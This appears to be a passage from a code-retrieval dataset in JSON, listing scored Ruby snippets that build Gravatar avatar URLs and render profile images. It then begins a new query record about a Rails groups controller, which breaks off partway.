"score": "0.75610757",
"text": "def gravatar_for(user, size = 30, title = user.name)\n image_tag gravatar_image_url(user.email, size: size), title: title, class: 'img-rounded'\n end",
"title": ""
},
{
"docid": "c7a528d4ff35b4e00e254945de033619",
"score": "0.7553826",
"text": "def gravatar_for(user, size: 80)\n if user.image\n user.image\n else\n gravatar_id = Digest::MD5.hexdigest(user.email).downcase\n\n \"https://www.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n end\n end",
"title": ""
},
{
"docid": "b010e301f78bca78ec30ea8d59ef01c3",
"score": "0.75465304",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}.png?s=48&d=mm\"\n image_tag(gravatar_url, alt: user.name, size: \"48x48\", class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "435e965edd2593c9c96c1831215c072d",
"score": "0.75227374",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: 'profile picture', class: 'gravatar rounded-circle image', width: '100', height: '100', style: 'object-fit: cover;')\n end",
"title": ""
},
{
"docid": "b4f7ed910ef0fe8682fbada5226a7edc",
"score": "0.7519318",
"text": "def avatar_url(user)\n if (user.image_url == 'none')\n gravatar_id = Digest::MD5.hexdigest(user.email.downcase)\n \"http://gravatar.com/avatar/#{gravatar_id}.png?s=48\"\n else\n user.image_url\n end\n end",
"title": ""
},
{
"docid": "91817e7e93f45aebd667906730aeaea8",
"score": "0.75000614",
"text": "def user_image_tag(owner)\n email = owner.nil? ? nil : owner.email\n\n if APP_CONFIG.enabled?(\"gravatar\") && !email.nil? && !email.empty?\n gravatar_image_tag(email)\n else\n content_tag :i, nil, class: \"fa fa-user user-picture\"\n end\n end",
"title": ""
},
{
"docid": "775facada1e08af4f5e215dcb305b7b6",
"score": "0.7482419",
"text": "def avatar_url\n\n # If the user has a facebook or twitter image, return it\n if image_url.present?\n image_url\n\n # If the user has an email (Don't they have to?), look for a gravatar url.\n elsif email.present?\n gravatar_url\n\n # Otherwise return the default avatar\n else\n DEFAULT_AVATAR\n end\n end",
"title": ""
},
{
"docid": "f7efedc65ce6e8bfe7ce3803dbe8af95",
"score": "0.7476239",
"text": "def gravatar\n mail = email || \"#{provider}_#{uid}\"\n hash = Digest::MD5.hexdigest(mail)\n \"http://www.gravatar.com/avatar/#{hash}?d=identicon\"\n end",
"title": ""
},
{
"docid": "247a4ffbb2d1d4a2b86046caf611ab11",
"score": "0.7474045",
"text": "def avatar(email = nil)\n default = Rails.application.config.default_avatar\n if email.nil?\n tag :image, :src => default\n else\n gravatar_id = Digest::MD5.hexdigest(email.downcase)\n gravatar_size = Rails.application.config.gravatar_size\n tag :image, :src => \"http://gravatar.com/avatar/#{gravatar_id}.png?s=#{gravatar_size}&d=#{CGI.escape(root_url + default)}\"\n end\n end",
"title": ""
},
{
"docid": "97bf20626bb126ec745ea5227ba26fe1",
"score": "0.7471761",
"text": "def gravatar(username,email, options = { size: 60 })\n gravatar_id = Digest::MD5::hexdigest(email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: username, class: \"gravatar\", :style=>options)\n end",
"title": ""
},
{
"docid": "0a7ad1f718b05041c5b384921421262d",
"score": "0.74562424",
"text": "def avatar_url\n gravatar_uri(object.email)\n end",
"title": ""
},
{
"docid": "d8aad9047a9c3305aa398d5118877c26",
"score": "0.7454151",
"text": "def gravatar_url\n md5 = (email.blank? ? \"default\" : Digest::MD5.hexdigest(email))\n \"https://www.gravatar.com/avatar/#{md5}\"\n end",
"title": ""
},
{
"docid": "707d01d8e3851f3a116d6b26fc977f03",
"score": "0.7448794",
"text": "def gravatar_path\n \"/avatar/#{Digest::MD5.hexdigest(email)}?s=48&r=r&d=#{ENCODED_DEFAULT_AVATAR}\"\n end",
"title": ""
},
{
"docid": "4f2d8a1f6e616d355882323090d3e351",
"score": "0.74471307",
"text": "def gravatar(i)\n id = Digest::MD5::hexdigest(i.email.downcase)\n url = \"https://secure.gravatar.com/avatar/#{id}?d=identicon\"\n image_tag(url, alt: i.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "dd2fac767c3b1ea799e40940eaf55b46",
"score": "0.743146",
"text": "def gravatar_for(user, options = { :size => 75 })\n gravatar_image_tag(user.email.strip, :alt => h(user.name),\n :class => 'gravatar round',\n :gravatar => options)\n end",
"title": ""
},
{
"docid": "a15149f37905c5d576aae3561ccf4dec",
"score": "0.7426813",
"text": "def gravatar_url_for_email(email, gravatar_options={})\n\n # Default highest rating.\n # Rating can be one of G, PG, R or X.\n # If set to nil, the Gravatar default of X will be used.\n gravatar_options[:rating] ||= nil\n\n # Default size of the image.\n # If set to nil, the Gravatar default size of 80px will be used.\n gravatar_options[:size] ||= nil \n\n # Default image url to be used when no gravatar is found\n # or when an image exceeds the rating parameter.\n gravatar_options[:default] ||= nil\n\n # Build the Gravatar url.\n grav_url = 'http://www.gravatar.com/avatar.php?'\n grav_url << \"gravatar_id=#{Digest::MD5.new.update(email)}\" \n grav_url << \"&rating=#{gravatar_options[:rating]}\" if gravatar_options[:rating]\n grav_url << \"&size=#{gravatar_options[:size]}\" if gravatar_options[:size]\n grav_url << \"&default=#{gravatar_options[:default]}\" if gravatar_options[:default]\n return grav_url\nend",
"title": ""
},
{
"docid": "005ee8e35bd56176be75b9c4dd1fa1a2",
"score": "0.7420056",
"text": "def gravatar(email, options = {})\n options[:size] ||= 35\n options[:default] ||= 'identicon'\n options[:rating] ||= 'PG'\n options[:class] ||= 'gravatar'\n options[:secure] ||= request.ssl?\n \n host = (options[:secure] ? 'https://secure.gravatar.com' : 'http://gravatar.com')\n path = \"/avatar.php?gravatar_id=#{Digest::MD5.hexdigest(email)}&rating=#{options[:rating]}&size=#{options[:size]}&d=#{options[:default]}\"\n \n image_tag([host,path].join, :class => options[:class], :width => options[:size], :height => options[:size])\n end",
"title": ""
},
{
"docid": "d6eed0907c32d33f273ea12f45a676be",
"score": "0.74107015",
"text": "def gravatar_image_url size: 80\n return nil unless self.has_a? :email\n md5 = OpenSSL::Digest::MD5.new self.email.downcase.strip\n # default = 'retro' # see http://en.gravatar.com/site/implement/images/\n default = 'identicon' # see http://en.gravatar.com/site/implement/images/\n \"https://www.gravatar.com/avatar/#{md5}?s=#{size}&d=#{default}\"\n end",
"title": ""
},
{
"docid": "db4154ce49657b48ce59475cf7e55df8",
"score": "0.740739",
"text": "def avatar_url\n\n # If the user has a twitter image, return it\n if image_url.present?\n image_url\n\n # If the user has an email (Don't they have to?), look for a gravatar url.\n elsif email.present?\n gravatar_url\n\n # Otherwise return the default avatar\n else\n DEFAULT_AVATAR\n end\n end",
"title": ""
},
{
"docid": "e491c672f1226fc047325890c614e361",
"score": "0.74025255",
"text": "def gravatar_for(user, options = { size: 100 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase) \n gravatar_url = \"http://gravatar.com/avatar/#{gravatar_id}.png?s=#{options[:size]}&d=#{default_gravatar_url(:host => WEB_ADDRESS, :port => nil)}.gif\"\n \n image_tag(gravatar_url, class: \"gravatar\", title: options[:title])\n end",
"title": ""
},
{
"docid": "77a207bc429d85b51938859afa39df94",
"score": "0.7402353",
"text": "def gravatar_for(user, size = 30, title = user.name)\n\t\timage_tag gravatar_image_url(user.email, size: size), title: title, class: 'img-round'\n\tend",
"title": ""
},
{
"docid": "2455e63dac7e8cc75b566c72bab6b9d1",
"score": "0.73845786",
"text": "def gravatar(email, options = {})\n options[:size] ||= 35\n options[:default] ||= 'identicon'\n options[:rating] ||= 'PG'\n options[:class] ||= 'gravatar'\n options[:secure] ||= request.ssl?\n host = (options[:secure] ? 'https://secure.gravatar.com' : 'http://gravatar.com')\n path = \"/avatar.php?gravatar_id=#{Digest::MD5.hexdigest(email.to_s.downcase)}&rating=#{options[:rating]}&size=#{options[:size] * 2}&d=#{options[:default]}\"\n image_tag([host,path].join, :class => options[:class], :width => options[:size], :height => options[:size])\n end",
"title": ""
},
{
"docid": "ee54d96ca52a7731f0f0c8b5d7c2b5f5",
"score": "0.73819417",
"text": "def avatar_url(user)\n gravatar_url(user.email)\n end",
"title": ""
},
{
"docid": "d20c37e13dfdd93c36ad83a4b7c7acbd",
"score": "0.7376978",
"text": "def gravatar_for(user, options = { size: 50 })\n images = %w(qq1.jpg qq2.jpg qq3.jpg)\n default_image = images.sample\n return image_tag(\"/images/#{default_image}\", class: \"gravatar\", size: \"50x50\") if user.nil?\n\n size = options[:size]\n image_tag(avatar_url(user, size), alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "6f3f1c2862e0359d0cb636eb20619a1b",
"score": "0.7371427",
"text": "def gravatar_for( email, size = nil )\n url = \"http://www.gravatar.com/avatar/\"+Digest::MD5.hexdigest(email)+\"?d=blank\"+(size.nil? ? '' : '&s='+size.to_s )\n\n '<img src=\"'+url+'\" alt=\"\">'\n end",
"title": ""
},
{
"docid": "8f6e7ef7784772e8d97c4685fb8d32f9",
"score": "0.73701626",
"text": "def gravatar_for(email)\n digest = Digest::MD5.hexdigest(email)\n return \"https://secure.gravatar.com/avatar/#{digest}?d=retro&s=36\"\n end",
"title": ""
},
{
"docid": "b490b44056a0bbd3b4736c734293b751",
"score": "0.7365704",
"text": "def gravatar_profile\n if self.use_gravatar\n \"http://gravatar.com/#{gravatar_id}\"\n end\n end",
"title": ""
},
{
"docid": "b490b44056a0bbd3b4736c734293b751",
"score": "0.7365704",
"text": "def gravatar_profile\n if self.use_gravatar\n \"http://gravatar.com/#{gravatar_id}\"\n end\n end",
"title": ""
},
{
"docid": "b490b44056a0bbd3b4736c734293b751",
"score": "0.7365704",
"text": "def gravatar_profile\n if self.use_gravatar\n \"http://gravatar.com/#{gravatar_id}\"\n end\n end",
"title": ""
},
{
"docid": "45963648e968d7e5fbe5f389f343ebd7",
"score": "0.7352312",
"text": "def gravatar_image_url(email = nil, size = nil)\n url = 'http://www.gravatar.com/avatar/'\n url += if email\n Digest::MD5.hexdigest(email)\n else\n '0' * 32\n end\n size ? \"#{url}?size=#{size}\" : url\n end",
"title": ""
},
{
"docid": "827da79b1dc012ad71f367dfc333175f",
"score": "0.73391837",
"text": "def gravatar_url(email, options={})\n # Default to highest rating. Rating can be one of G, PG, R X.\n options[:rating] ||= \"G\"\n \n # Default size of the image.\n options[:size] ||= \"32px\"\n \n # Default image url to be used when no gravatar is found\n # or when an image exceeds the rating parameter.\n options[:default] ||= \"http://localhost:4000/images/avatar_32x32.png\"\n \n # Build the Gravatar url.\n url = 'http://www.gravatar.com/avatar.php?'\n url << \"gravatar_id=#{Digest::MD5.new.update(email)}\" \n url << \"&rating=#{options[:rating]}\" if options[:rating]\n url << \"&size=#{options[:size]}\" if options[:size]\n url << \"&default=#{options[:default]}\" if options[:default]\n url\n end",
"title": ""
},
{
"docid": "316a966fe39864be6856a239cf85d544",
"score": "0.73281455",
"text": "def gravatar_url_for(email, options = {})\n options[:size] ||= 48\n options[:ssl] ||= false\n\n if options[:ssl]\n options[:host] = \"secure.gravatar.com\"\n options[:protocol] = \"https\"\n else\n options[:host] = \"gravatar.com\"\n options[:protocol] = \"http\"\n end\n\n url_for(:gravatar_id => Digest::MD5.hexdigest(email), \n :default => url_for(:controller => \"/images/user_#{options[:size]}.png\", :only_path => false),\n :format => \"jpg\",\n :host => options[:host],\n :protocol => options[:protocol],\n :only_path => false,\n :controller => \"avatar.php\")\n end",
"title": ""
},
{
"docid": "1c2aa02f0903cc813d281b626bd5ca97",
"score": "0.731505",
"text": "def avatar_url_or_default\n avatar_url ||\n \"https://www.gravatar.com/avatar/#{\n Digest::MD5.hexdigest(email.to_s.downcase.strip)\n }?d=https%3A%2F%2Fui-avatars.com%2Fapi%2F/#{firstname}+#{lastname}/128\"\n end",
"title": ""
},
{
"docid": "53f7b66f5df6d43e149d518196301e09",
"score": "0.731134",
"text": "def gravatar_for(user, opts = {})\n opts[:alt] = user.name\n image_tag \"https://www.gravatar.com/avatar/#{Digest::MD5.hexdigest(user.email)}?s=#{opts.delete(:size) { 40 }}\",\n \t opts\n end",
"title": ""
},
{
"docid": "11b679ecd5c813632185ef1319fe1125",
"score": "0.7299885",
"text": "def default_url\n \"/images/fallback/default_user.png\"\n end",
"title": ""
},
{
"docid": "d141949bc2e3cc995bc21f9b42d5ade2",
"score": "0.7292135",
"text": "def gravatar_for(user, size: 80)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.email, class: \"gravatar img-circle\")\n end",
"title": ""
},
{
"docid": "1d1e2fc27c0a5a7c294b5feabe6d4802",
"score": "0.72778636",
"text": "def gravatar_url(email, size)\n gravatar_id = Digest::MD5::hexdigest(email).downcase\n default_url = \"http://mysite.com/myavatar.png\"\n url = \"http://gravatar.com/avatar/#{gravatar_id}.png?s=#{size}&d=#{CGI::escape(default_url)}\"\nend",
"title": ""
},
{
"docid": "2cfb35d1827dcced3964c97c8bb6d81f",
"score": "0.7275765",
"text": "def gravatar_url_for email\n require 'md5'\n \"http://www.gravatar.com/avatar/#{MD5::md5(email.downcase)}\"\n end",
"title": ""
},
{
"docid": "a9eaeaf6fedb825d796c7c8f641f8f13",
"score": "0.72745013",
"text": "def gravatar(user, version, html_options)\n size = AvatarUploader.const_get(\"#{version.to_s.camelize}Size\")\n gravatar_options = { default: 'mm', size: size }\n if user.present?\n h.image_tag user.gravatar_url(gravatar_options), html_options\n else\n h.image_tag User.new.gravatar_url(gravatar_options.merge(forcedefault: 'y')), html_options\n end\n end",
"title": ""
},
{
"docid": "5b4c08c89a967821ed8f24c1a57a2d2f",
"score": "0.7271233",
"text": "def gravatar_url(email, gravatar_options={})\n # Default highest rating.\n # Rating can be one of G, PG, R X.\n # If set to nil, the Gravatar default of G will be used.\n gravatar_options[:rating] ||= \"G\"\n \n # Default size of the image.\n # If set to nil, the Gravatar default size of 32px will be used.\n gravatar_options[:size] ||= \"32px\"\n \n # Default image url to be used when no gravatar is found\n # or when an image exceeds the rating parameter.\n gravatar_options[:default] ||= \"#{request.protocol}#{request.host_with_port}/images/avatar_32x32.png\"\n \n # Build the Gravatar url.\n grav_url = 'http://www.gravatar.com/avatar.php?'\n grav_url << \"gravatar_id=#{Digest::MD5.new.update(email)}\" \n grav_url << \"&rating=#{gravatar_options[:rating]}\" if gravatar_options[:rating]\n grav_url << \"&size=#{gravatar_options[:size]}\" if gravatar_options[:size]\n grav_url << \"&default=#{gravatar_options[:default]}\" if gravatar_options[:default]\n return grav_url\n end",
"title": ""
},
{
"docid": "9678c44245a4f8f74db6532743359300",
"score": "0.7269075",
"text": "def gravatar_url_for email\n require 'digest/md5'\n \"http://www.gravatar.com/avatar/#{Digest::MD5.hexdigest(email.downcase)}\"\n end",
"title": ""
},
{
"docid": "7ba3e2875b8eb1b93b8aa67480a1bc91",
"score": "0.7268043",
"text": "def profile_image_of(user=current_user)\n avatar = UserInfo.find_by_id(user.id).try(:avatar)\n avatar.to_s.empty? ? asset_url('default_profile.png') : avatar\n end",
"title": ""
},
{
"docid": "2dea19b1237194850d12a852d49e1e50",
"score": "0.7265855",
"text": "def profile_image\n image_source = object.gravatar_image(32)\n h.image_tag image_source, class: 'profile-image' if image_source\n end",
"title": ""
},
{
"docid": "a16a60bdc3fe44de0c7d39f3fc251408",
"score": "0.72627515",
"text": "def set_default_avatar\n avatars.create!(provider: 'gravatar')\n end",
"title": ""
},
{
"docid": "646875f090aca2341a49a22e11022fc9",
"score": "0.72611856",
"text": "def gravatar_for(user, size=nil)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.name, width: size, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "c6c677bf00ab7f18fdb99c6ffdfd813c",
"score": "0.7257542",
"text": "def avatar\n 'default-avatar.png'\n end",
"title": ""
},
{
"docid": "97f7bdeef40bd7cd01307398e9e50a0a",
"score": "0.7254188",
"text": "def gravatar_for(user, options = { size: 50 })\n size = options[:size]\n if user.avatar.present?\n image_tag(user.avatar.url(:thumb), alt: user.firstname, size: \"#{size}\", title: user.firstname)\n else\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.firstname, class: \"gravatar\", title: user.firstname)\n end\n end",
"title": ""
},
{
"docid": "30941c38bbfeb277146a987cebf6cb97",
"score": "0.7253903",
"text": "def gravatar(email, size = 100)\n the_hash = Digest::MD5.hexdigest(email).to_s\n image_tag \"http://www.gravatar.com/avatar/#{the_hash}?s=#{size}&d=mm\"\n end",
"title": ""
},
{
"docid": "ee9711a08f97c5748a2fcde1cd8fa3b2",
"score": "0.72538775",
"text": "def profile_image\n (self.avatar_url ? self.avatar_url : \"/images/no-avatar.png\")\n end",
"title": ""
},
{
"docid": "704eeb91da0941658497368490714fa8",
"score": "0.7248241",
"text": "def profile_image\n avatar_url.present? ? avatar_url : \"default_avatar\"\n end",
"title": ""
},
{
"docid": "704eeb91da0941658497368490714fa8",
"score": "0.7248241",
"text": "def profile_image\n avatar_url.present? ? avatar_url : \"default_avatar\"\n end",
"title": ""
},
{
"docid": "7df20897583f0bf298fbdae0a9515be4",
"score": "0.7248214",
"text": "def gravatar_url\n stripped_email = email.strip\n downcased_email = stripped_email.downcase\n hash = Digest::MD5.hexdigest(downcased_email)\n \"http://gravatar.com/avatar/#{hash}\"\n end",
"title": ""
},
{
"docid": "a8b71c82c347a24cb092a55dc358b74a",
"score": "0.7241355",
"text": "def gravatar\n 'https://gravatar.com/avatar/' + Digest::MD5.hexdigest(email.downcase.sub(/\\+.+@/, '@')) + '?d=mm'\n end",
"title": ""
},
{
"docid": "9db1d2a94981fd95468576a8f5d4c09d",
"score": "0.72380316",
"text": "def gravatar_url\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n end",
"title": ""
},
{
"docid": "57e94ec71c99eba13fe3775989d100f4",
"score": "0.72373563",
"text": "def gravatar_for(user, options = { size: 50 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\nend",
"title": ""
},
{
"docid": "7d227ef5771d169d3341d6e8f4367089",
"score": "0.7235305",
"text": "def avatar_url\r\n user ? user.avatar_url : \"anonymous.png\"\r\n end",
"title": ""
},
{
"docid": "fa6cc72f9d3427b2bebc451de4c54edc",
"score": "0.72285634",
"text": "def gravatar_for(user, options = { size: 50 })\n gravatar_url = gravatar_url(user, options)\n gravatar_class = options[:class] || \"gravatar\"\n ActionController::Base.helpers.image_tag(gravatar_url, alt: user.name, class: gravatar_class)\n end",
"title": ""
},
{
"docid": "fa6cc72f9d3427b2bebc451de4c54edc",
"score": "0.72285634",
"text": "def gravatar_for(user, options = { size: 50 })\n gravatar_url = gravatar_url(user, options)\n gravatar_class = options[:class] || \"gravatar\"\n ActionController::Base.helpers.image_tag(gravatar_url, alt: user.name, class: gravatar_class)\n end",
"title": ""
},
{
"docid": "4955fa5357297342eb77c0d7cea62ad9",
"score": "0.7222007",
"text": "def gravatar_url\n stripped_email = email.strip\n downcased_email = stripped_email.downcase\n hash = Digest::MD5.hexdigest(downcased_email)\n \"http://gravatar.com/avatar/#{hash}?s=300\"\n end",
"title": ""
},
{
"docid": "1e0cf27495c4a22710d0cff9eab69ee3",
"score": "0.7221657",
"text": "def gravatar_for(user, options = { size: 50 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n # if you want set a default photos , add &d= \n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}.png?s=#{size}\"\n image_tag(gravatar_url, alt: user.username, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "9c61a8cad0ca6ec1dab3c8b65ce7ad90",
"score": "0.7219001",
"text": "def gravatar_url(default = \"\", size = 220)\n hash = Digest::MD5.hexdigest(email.downcase.strip)[0..31]\n \"http://www.gravatar.com/avatar/#{hash}.jpg?size=#{size}&d=#{CGI::escape default}\"\n end",
"title": ""
},
{
"docid": "11369952e6259be57e05b9bbb52f1f25",
"score": "0.7209403",
"text": "def gravatar(email, options={})\n src = h(gravatar_url(email, options))\n options = DEFAULT_OPTIONS.merge(options)\n [:class, :alt, :size].each { |opt| options[opt] = h(options[opt]) }\n \"<img class=\\\"#{options[:class]}\\\" alt=\\\"#{options[:alt]}\\\" width=\\\"#{options[:size]}\\\" \"+\n \"height=\\\"#{options[:size]}\\\" src=\\\"#{src}\\\" />\" \n end",
"title": ""
},
{
"docid": "e1c4db34e8f8dbc95e7f966c12a35d6f",
"score": "0.7201833",
"text": "def profile_image(profile)\n url = Gravatar.new(profile.display_email || '@').image_url :size => 40,\n :secure => true, :default => :mm\n image_tag url, :alt => \"gravatar for #{profile.name}\",\n :style => 'width: 40px; height: 40px;'\n end",
"title": ""
},
{
"docid": "b6cfc133bdc0e3789a40964b278015fb",
"score": "0.72005147",
"text": "def gravatar_for(user, options={})\n default_class = \"gravatar\"\n\n unless options[:class].nil?\n default_class << \" #{options[:class]}\"\n end\n\n gravatar_image_tag(\n user.email, alt: user.name, class: default_class,\n gravatar: { size: options[:size] || 32, default: :identicon }\n )\n end",
"title": ""
},
{
"docid": "8a3833c1da7cb04fb73fbd8602be58cb",
"score": "0.71968454",
"text": "def gravatar_for(user, options = {})\n return nil unless user\n\n options = { size: 80, default: :identicon }.merge(options || {})\n options[:default] = options[:default].to_s.to_sym unless options[:default].nil? || options[:default].is_a?(::Symbol)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n default = [:mm, :identicon, :monsterid, :wavatar, :retro].include?(options[:default]) ? \"&d=#{options[:default]}\" : ''\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}#{default}\"\n image_tag(gravatar_url, alt: user.name, class: 'gravatar', style: \"width: #{size}px, height: #{size}px\")\n end",
"title": ""
},
{
"docid": "2796e8afd5e607bd28a06a5f29f5acc7",
"score": "0.71961975",
"text": "def gravatar_for(user, options = { size: 80 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?size=#{options[:size]}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "10e7ca1c01c6c2a45f7fa1fbd8994624",
"score": "0.7189394",
"text": "def gravatar_url\n email_digest = Digest::MD5.hexdigest email\n \"http://#{GRAVATAR}/avatar/#{email_digest}?s=48&r=r&d=#{ENCODED_DEFAULT_AVATAR}\"\n end",
"title": ""
},
{
"docid": "10e7ca1c01c6c2a45f7fa1fbd8994624",
"score": "0.7189394",
"text": "def gravatar_url\n email_digest = Digest::MD5.hexdigest email\n \"http://#{GRAVATAR}/avatar/#{email_digest}?s=48&r=r&d=#{ENCODED_DEFAULT_AVATAR}\"\n end",
"title": ""
},
{
"docid": "bc72f6b2cd969e4497d753b8250e381a",
"score": "0.7180268",
"text": "def render_profile_avatar_for(user)\n if user.avatar?\n image_tag(user.avatar.url, class: 'img-responsive img-rounded').html_safe\n else\n image_tag('fallback/default.gif', class: 'img-responsive img-rounded').html_safe\n end\n end",
"title": ""
},
{
"docid": "03603e25200dc56cfc3b9b11636f1f2a",
"score": "0.717954",
"text": "def gravatar_url\n \"http://#{GRAVATAR_HOST}#{self.gravatar_path}\"\n end",
"title": ""
},
{
"docid": "c3e00e964e128fffb2679213ab019614",
"score": "0.71785885",
"text": "def avatar_url user\n gravatar_id = Digest::MD5.hexdigest(user.email.downcase)\n \"http://gravatar.com/avatar/#{gravatar_id}.png?s=128\"\n end",
"title": ""
},
{
"docid": "f38f332e0e1f16f19ca95d87ac8e6f1f",
"score": "0.71740305",
"text": "def gravatar_tag(email, options = {})\n email = Digest::MD5.hexdigest(email) unless email =~ /^[a-z0-9]{32}$/i\n options.reverse_merge!(\n :rating => :g,\n :default => \"gravatar.jpg\",\n :ssl => request.ssl?,\n :size => 32\n )\n\n params = {\n :r => options[:rating],\n :d => DEFAULT_GRAVATARS.include?(options[:default]) ?\n options[:default] : compute_public_path(options[:default], \"images\", nil, true),\n :s => options[:size]\n }\n\n url = String.new.tap do |s|\n s << (options[:ssl] ? GRAVATAR_URLS[:https] : GRAVATAR_URLS[:http])\n s << email.to_s << \".jpg\"\n s << \"?\"\n s << params.collect {|k, v| v.to_s.to_query(k) }.join(\"&\")\n end\n\n image_tag url, { :class => \"gravatar\", :alt => options[:alt], :title => options[:title] }\n end",
"title": ""
},
{
"docid": "af8c36616764d9422f3476333214d053",
"score": "0.71636474",
"text": "def gravatar(email, options={})\n src = h(gravatar_url(email, options))\n options = DEFAULT_OPTIONS.merge(options)\n options[:width]=\"42\"\n options[:height]=\"42\"\n [:class, :alt, :title,:width,:height].each { |opt| options[opt] = h(options[opt]) }\n image_tag src, options\n end",
"title": ""
},
{
"docid": "33244a4cfd6c33df6f740906103f1358",
"score": "0.7160633",
"text": "def gravatar_url(email)\n begin\n gravatar_check = \"http://gravatar.com/avatar/#{Digest::MD5.hexdigest(email)}.png?d=404\"\n uri = URI.parse(gravatar_check)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n if response.code.to_i != 404 # from d=404 parameter\n return gravatar_check\n else\n return nil\n end\n rescue\n return nil\n end\n end",
"title": ""
},
{
"docid": "281e6245f6fe50f49a667831c0767cb7",
"score": "0.7150326",
"text": "def gravatar_for(user, options = { :size => 50})\n\t\tgravatar_image_tag(user.email.downcase, :alt => user.name,\n\t\t\t\t\t\t\t\t\t\t\t\t:class => 'gravatar', \n\t\t\t\t\t\t\t\t\t\t\t\t:gravatar => options)\n\tend",
"title": ""
},
{
"docid": "bbd66475e7ec45e884fd8f37c2822fc2",
"score": "0.7147639",
"text": "def gravatar_for(user)\n\t\tgravatar_id = Digest::MD5::hexdigest(user.name.downcase)\n\t\tgravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}.png\"\n\t\timage_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n\tend",
"title": ""
},
{
"docid": "074751c1e52bfbb9c3a328dc032724da",
"score": "0.7146474",
"text": "def gravatar_url(email)\n GravatarLoader.gravatar_url({\n email: email,\n default_url: AVATAR_DEFAULT_URL\n })\n end",
"title": ""
},
{
"docid": "732d626427e393df48a0adf794f8964f",
"score": "0.71369",
"text": "def gravatar_for(user, options = { size: 50 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, title:user.name , class: options[:class])\n end",
"title": ""
},
{
"docid": "d7ba5f3821f3c5ada7fbd6eda11a59ab",
"score": "0.7135982",
"text": "def avatar_url(user)\n if user.avatar_url.present?\n user.avatar_url\n else\n gravatar_id = Digest::MD5.hexdigest(user.email)\n \"http://gravatar.com/avatar/#{gravatar_id}.png?s=48\"\n end\n end",
"title": ""
}
] |
b2135831ec0e164206cafd655e483de4 | GET /groups/1 GET /groups/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "7761dcbf8079fbe8d9838f059e843811",
"score": "0.80157125",
"text": "def groups\n @page = 'groups'\n respond_to do |format|\n format.html {\n @groups = Group.find(:all)\n }\n format.json { }\n end\n end",
"title": ""
},
{
"docid": "1f843b01e13360c0143c4faaad1f177d",
"score": "0.79820234",
"text": "def index\n @groups = Api::V1::Group.all\n\n render json: @groups\n end",
"title": ""
},
{
"docid": "584fc326af7b12a5bf2447061dd516c0",
"score": "0.7921121",
"text": "def group(id)\n get \"/groups/#{id}\"\n end",
"title": ""
},
{
"docid": "40158a306d172d148ad8c9b38846e2eb",
"score": "0.78870726",
"text": "def retrieve_groups()\n start.uri('/api/group')\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "c449413110964807364c22a01ac02ab9",
"score": "0.7877054",
"text": "def retrieve_groups()\n start.uri('/api/group')\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "565c46751df83f2984590f468f460593",
"score": "0.78426373",
"text": "def index\n @group = Group.find(params[:group_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @group }\n end\n end",
"title": ""
},
{
"docid": "9ec278d946a4a08d671dbb866559feaa",
"score": "0.7828997",
"text": "def get_groups\n endpoint = '/groups'\n url = self.base_url.to_s + endpoint.to_s + self.format.to_s\n self.get_data(url)\n end",
"title": ""
},
{
"docid": "306c4584b3957f7accbc7faeb089089d",
"score": "0.7720194",
"text": "def group(id)\n get(\"/groups/#{id}\")\n end",
"title": ""
},
{
"docid": "e90f32f61ab988fe5ac5d1c17a4b68a0",
"score": "0.76671755",
"text": "def index\n @groups = Group.where(:user_id => user_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"title": ""
},
{
"docid": "0171df9d90002a604a4b1dc9e4463921",
"score": "0.7600462",
"text": "def index\n @groups = Group.all.collect {|g| g.to_hash}\n render json: {groups: @groups}, status: :ok\n end",
"title": ""
},
{
